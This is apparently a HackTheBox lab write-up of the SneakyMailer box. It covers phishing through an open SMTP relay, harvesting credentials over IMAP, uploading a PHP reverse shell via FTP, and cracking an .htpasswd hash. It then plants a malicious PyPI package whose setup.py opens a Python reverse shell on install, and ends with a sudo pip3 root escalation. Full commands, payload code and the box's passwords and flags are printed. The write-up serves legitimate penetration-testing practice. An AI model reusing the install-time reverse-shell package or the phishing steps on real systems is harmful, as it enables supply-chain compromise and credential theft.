HackTheBox - SneakyMailer


Introduction

HTB Cascade

SneakyMailer is an interesting box with some good real life qualities to it. The box provides some insight into the effects of phishing, to creating malicious python packages.

Foothold

Starting with an Nmap scan we can see ports related to files, email, and web. We’ll find that anonymous FTP access is not possible, that SMTP is an open relay, and that the website provides a list of email addresses. The email related information and services, combined with the name of the system, gives a good idea on what to do - send some phishing emails.

# Nmap 7.80 scan initiated Thu Jul 16 12:31:04 2020 as: nmap -T4 -p 1-10000 -oA nmap-10000 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.14s latency).
Not shown: 9993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
993/tcp  open  imaps
8080/tcp open  http-proxy

# Nmap done at Thu Jul 16 12:35:33 2020 -- 1 IP address (1 host up) scanned in 269.13 seconds

To send out the phishing emails and see if anyone “clicks” on a link we’ll start listening on port 80, and then connect to port 25 with nc. This took a couple of tries, as it feels weird to just send a link with an IP address instead of a slightly formatted message that looks a bit more legit.

ben@kal:~/hackthebox/sneakymailer$ nc 10.10.10.197 25
220 debian ESMTP Postfix (Debian/GNU)
HELO sneakymailer.htb
250 debian
MAIL FROM: <[email protected]>
250 2.1.0 Ok
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>
--snip--
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
http://10.10.15.201/
.
250 2.0.0 Ok: queued as EFF8324668
quit
221 2.0.0 Bye
ben@kal:~$ sudo nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.15.201] from (UNKNOWN) [10.10.10.197] 60664
POST / HTTP/1.1
Host: 10.10.15.201
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Using CyberChef1 to URLDecode this data, we’ll get the following information - the first credentials of this box.

firstName=Paul
&lastName=Byrd
&[email protected]
&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Using the new credentials to try and log into all available services, we’ll find that this account can access IMAP, and that there are a couple of emails waiting for us. Connecting to IMAP and retrieving emails can be done in a couple of ways. A GUI is generally easier to use, but nc work fine as well.

ben@kal:~/hackthebox/sneakymailer$ nc 10.10.10.197 143
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.

a1 login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
a1 OK LOGIN Ok.

a1 list "" *
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
a1 OK LIST completed

a1 select "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a1 OK [READ-WRITE] Ok

a1 fetch 1:* (FLAGS)
* 1 FETCH (FLAGS (\Seen))
* 2 FETCH (FLAGS (\Seen))
a1 OK FETCH completed.
a1 fetch 1 RFC822
* 1 FETCH (RFC822 {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <[email protected]>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
--snip--

Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

--snip--

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
a1 OK FETCH completed.
a1 fetch 2 RFC822
* 2 FETCH (RFC822 {585}
To: low@debian
From: Paul Byrd <[email protected]>
Subject: Module testing
Message-ID: <[email protected]>
Date: Wed, 27 May 2020 13:28:58 -0400
--snip--

Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

)
a1 OK FETCH completed.

So we have an additional set of credentials that we can try out on the various services running on this box, and they will work on FTP. Additionally, the second email is directed at the user low, and states that they should install, test, and delete every python module in their PyPi2 service - this is good to know.

ben@kal:~/hackthebox/sneakymailer$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:ben): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 18 14:12 dev
226 Directory send OK.

ftp> cd dev
250 Directory successfully changed.

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.

Ok, we can access it, but none of the files contain anything of interest. It does look like the files represent what is hosted on sneakycopr.htb. When we try to upload a file it will succeed, however the file won’t appear to be accessible via sneakycorp.htb. After a bit of thinking, it seems logical that a production environment wouldn’t be modified in such a way, and that there has to be some other environment where these files are accessible - a development environment by sorts, accessible to a developer.

To look for other subdomains/vhosts we’ll use gobuster and a wordlist3 picked from a google search.

ben@kal:~/hackthebox/sneakymailer/ftp$ gobuster vhost -w ~/hackthebox/wordlists/subdomain-1000.txt -u http://sneakycorp.htb
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://sneakycorp.htb
[+] Threads:      10
[+] Wordlist:     /home/ben/hackthebox/wordlists/subdomain-1000.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2020/07/18 14:12:33 Starting gobuster
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
===============================================================
2020/07/18 14:12:51 Finished
===============================================================

Adding that to the /etc/hosts file will allow us to view the files we upload via FTP and gain a foothold into the system.

ben@kal:~/hackthebox/sneakymailer/ftp$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:ben): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> cd dev
250 Directory successfully changed.

ftp> put bshell.php bshell.php
local: bshell.php remote: bshell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
2153 bytes sent in 0.00 secs (2.9083 MB/s)
dev.sneakycorp.htb/bshell.php?ip=10.10.15.201&port=443
ben@kal:~/hackthebox/sneakymailer$ sudo nc -nvlp 443
[sudo] password for ben: 
listening on [any] 443 ...
connect to [10.10.15.201] from (UNKNOWN) [10.10.10.197] 57556
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 16:20:19 up  2:41,  1 user,  load average: 0.28, 0.32, 0.26
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
low      pts/5    10.10.14.243     16:16    3:28  11.88s 11.84s ./pspy64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

User

With a foothold as wwww-data, we can switch to the developer account, as it makes sense that they would have more permissions.

$ su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
id
uid=1001(developer) gid=1001(developer) groups=1001(developer)

python -c 'import pty; pty.spawn("/bin/bash");'

With user access it is always good to check what kind of permissions we have and if any valuable information is available - either intentionally as part of an application, or unintentionally.

In this box we’ll find the PyPi repository which is partially password protected. Fortunately for us, the password hash is located in the .htpasswd file and can be cracked.

developer@sneakymailer:/var/www$ ls -al
ls -al
total 24
drwxr-xr-x  6 root root 4096 May 14 18:25 .
drwxr-xr-x 12 root root 4096 May 14 13:09 ..
drwxr-xr-x  3 root root 4096 Jun 23 08:15 dev.sneakycorp.htb
drwxr-xr-x  2 root root 4096 May 14 13:12 html
drwxr-xr-x  4 root root 4096 May 15 14:29 pypi.sneakycorp.htb
drwxr-xr-x  8 root root 4096 Jun 23 09:48 sneakycorp.htb
developer@sneakymailer:/var/www$ cd pypi.sneakycorp.htb

cd pypi.sneakycorp.htb
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -al

ls -al
total 20
drwxr-xr-x 4 root root     4096 May 15 14:29 .
drwxr-xr-x 6 root root     4096 May 14 18:25 ..
-rw-r--r-- 1 root root       43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jul 18 16:15 packages
drwxr-xr-x 6 root pypi     4096 May 14 18:25 venv
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd

cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
ben@kal:~/hackthebox/sneakymailer/passwords$ hashcat -m1600 pypi.hash --force /usr/share/wordlists/rockyou.txt

$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Sat Jul 18 14:25:06 2020 (10 mins, 24 secs)
Time.Estimated...: Sat Jul 18 14:35:30 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     6560 H/s (9.94ms) @ Accel:256 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3614208/14344385 (25.20%)
Rejected.........: 0/3614208 (0.00%)
Restore.Point....: 3613952/14344385 (25.19%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: souhern4u -> soucia

ben@kal:~/hackthebox/sneakymailer/passwords$ hashcat -m1600 pypi.hash --force /usr/share/wordlists/rockyou.txt --show
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

With the pypi credentials it is possible to access the PyPi website. From there we should figure out if this allows us to upload python packages to the repository, and to see if low will actually do something to the packages.

http://pypi.sneakycorp.htb:8080/

At this point is it probably wise to start googling for information on how to upload packages to the repository45.

Attempts were made with setuptools and twine until an easy enough method was found that worked remotely. The following is a quick overview of the steps taken to make it work.

[distutils]
index-servers = sneakycorp

[sneakycorp]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui
ben@kal:~/hackthebox/sneakymailer/pypi$ python setup.py sdist
test
running sdist
running egg_info
creating bshell.egg-info
writing bshell.egg-info/PKG-INFO
writing top-level names to bshell.egg-info/top_level.txt
writing dependency_links to bshell.egg-info/dependency_links.txt
writing manifest file 'bshell.egg-info/SOURCES.txt'
reading manifest file 'bshell.egg-info/SOURCES.txt'
writing manifest file 'bshell.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating bshell-0.0.1
creating bshell-0.0.1/bshell.egg-info
copying files to bshell-0.0.1...
copying setup.py -> bshell-0.0.1
copying bshell.egg-info/PKG-INFO -> bshell-0.0.1/bshell.egg-info
copying bshell.egg-info/SOURCES.txt -> bshell-0.0.1/bshell.egg-info
copying bshell.egg-info/dependency_links.txt -> bshell-0.0.1/bshell.egg-info
copying bshell.egg-info/top_level.txt -> bshell-0.0.1/bshell.egg-info
Writing bshell-0.0.1/setup.cfg
Creating tar archive
removing 'bshell-0.0.1' (and everything under it)
import setuptools

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.201",4443));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

setuptools.setup(
    name="bshell", # Replace with your own username
    version="0.0.1",
--snip--
ben@kal:~/hackthebox/sneakymailer/pypi$ twine upload -r sneakycorp dist/bshell-0.0.1.tar.gz 
Uploading distributions to http://pypi.sneakycorp.htb:8080/
Uploading bshell-0.0.1.tar.gz
100%|██████████████████████████████████| 3.95k/3.95k [00:00<00:00, 12.7kB/s]

Shortly after uploading the package we get a hit from the reverse shell and user access has been acquired.

ben@kal:~/hackthebox/sneakymailer/pypi$ nc -lnvp 4443
listening on [any] 4443 ...
connect to [10.10.15.201] from (UNKNOWN) [10.10.10.197] 41722
$ id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)

$ python -c 'import pty; pty.spawn("/bin/bash");'
low@sneakymailer:/$ cd ~
cd ~

low@sneakymailer:~$ cat user.txt
cat user.txt
7af7292d8cd69cc2b9b041f2ffcb7745

Root

As the low user, we want to check what kind of commands we can execute with sudo as those permissions are always of interest.

low@sneakymailer:~$ sudo -l
sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

In this case it is very straightforward. We’ll head over to GTFOBins and see if there are any existing methods to abuse pip3 with to elevate privileges. GTFOBins delivers by providing information to create a malicious python file that we subsequently “install” to get a root shell7.

low@sneakymailer:/tmp/.b$ TF=$(mktemp -d)
TF=$(mktemp -d)

low@sneakymailer:/tmp/.b$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

low@sneakymailer:/tmp/.b$ sudo /usr/bin/pip3 install $TF
sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.DtJ64NHBkj

# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
b35ddbc5c834bb614aac736f2f12ef75

Lessons Learned

There wasn’t anything that stood out as entirely new or eye-opening. All in all it was a good exercise to abuse an open SMTP relay for phishing purposes, and to create malicious python packages that were implicitly trusted by a user that would just install and run them.

Hack The Box


  1. CyberChef ↩︎

  2. PyPi ↩︎

  3. dnsscan wordlist ↩︎

  4. PyPi Remote Upload ↩︎

  5. StackOverFLow PyPi Remote Upload ↩︎

  6. Creating setup.py ↩︎

  7. GTFOBins pip ↩︎